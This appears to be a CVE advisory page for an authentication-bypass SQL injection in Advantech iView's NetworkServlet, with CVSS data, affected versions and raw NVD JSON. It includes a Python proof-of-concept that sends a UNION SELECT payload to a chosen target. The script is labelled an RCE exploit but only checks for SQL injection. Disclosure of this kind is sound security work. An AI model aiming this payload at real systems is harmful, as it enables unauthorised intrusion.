Security Vulnerability Report
中文
CVE-2022-50592 CVSS 7.2 HIGH

CVE-2022-50592

Published: 2025-11-06 20:15:37
Last Modified: 2025-11-24 18:54:20

Description

Advantech iView versions prior to v5.7.04 build 6425 contain a vulnerability within the SNMP management tool that allows for remote attackers to bypass authentication checks and reach a SQL injection vulnerability within the ‘getInventoryReportData’ parameter to the ‘NetworkServlet’ endpoint. Successful exploitation allows for remote code execution with administrator privileges.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:advantech:iview:*:*:*:*:*:*:*:* - VULNERABLE
Advantech iView < v5.7.04 build 6425

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2022-50592 PoC - Advantech iView SQL Injection RCE # Target: Advantech iView < v5.7.04 build 6425 def exploit(target_ip, target_port=8080): """ Exploit for CVE-2022-50592: SQL Injection in getInventoryReportData parameter of NetworkServlet endpoint leading to RCE """ base_url = f"http://{target_ip}:{target_port}" # Step 1: Bypass authentication and trigger SQL injection # The vulnerability exists in getInventoryReportData parameter sql_payload = "1' UNION SELECT NULL,NULL,@@version,NULL,NULL,NULL,NULL,NULL,NULL,NULL---" endpoint = "/NetworkServlet" params = { "getInventoryReportData": sql_payload, "action": "getInventoryReportData" } try: print(f"[*] Sending exploit to {base_url}{endpoint}") response = requests.get(base_url + endpoint, params=params, timeout=10) if response.status_code == 200: print("[+] Request successful - SQL injection may be present") print(f"[+] Response length: {len(response.text)}") # Check for SQL injection indicators if "mysql" in response.text.lower() or "postgresql" in response.text.lower() or "microsoft" in response.text.lower(): print("[+] SQL injection confirmed - database version exposed") return True else: print(f"[-] Request failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 8080 exploit(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2022-50592", "sourceIdentifier": "[email protected]", "published": "2025-11-06T20:15:37.373", "lastModified": "2025-11-24T18:54:19.717", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Advantech iView versions prior to v5.7.04 build 6425 contain a vulnerability within the SNMP management tool that allows for remote attackers to bypass authentication checks and reach a SQL injection vulnerability within the ‘getInventoryReportData’ parameter to the ‘NetworkServlet’ endpoint. Successful exploitation allows for remote code execution with administrator privileges."}, {"lang": "es", "value": "Advantech iView versiones anteriores a v5.7.04 build 6425 tienen una vulnerabilidad en la herramienta de gestión SNMP que permite a atacantes remotos eludir las comprobaciones de autenticación y realizar una vulnerabilidad de inyección SQL en el parámetro 'getInventoryReportData' del endpoint 'NetworkServlet'. La explotación exitosa permite la ejecución remota de código con privilegios de administrador."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}, {"lang": "en", "value": "CWE-306"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:advantech:iview:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.7.04.6425", "matchCriteriaId": "8F719357-8063-4CD2-8275-57FC01CB52A1"}]}]}], "references": [{"url": "https://blog.exodusintel.com/2022/03/01/advantech-iview-getinventoryreportdata-parameter-sql-injection-information-disclosure/", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.advantech.tw/support/details/firmware?id=1-HIPU-183", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/advantech-iview-getinventoryreportdata-parameter-sqli-rce", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}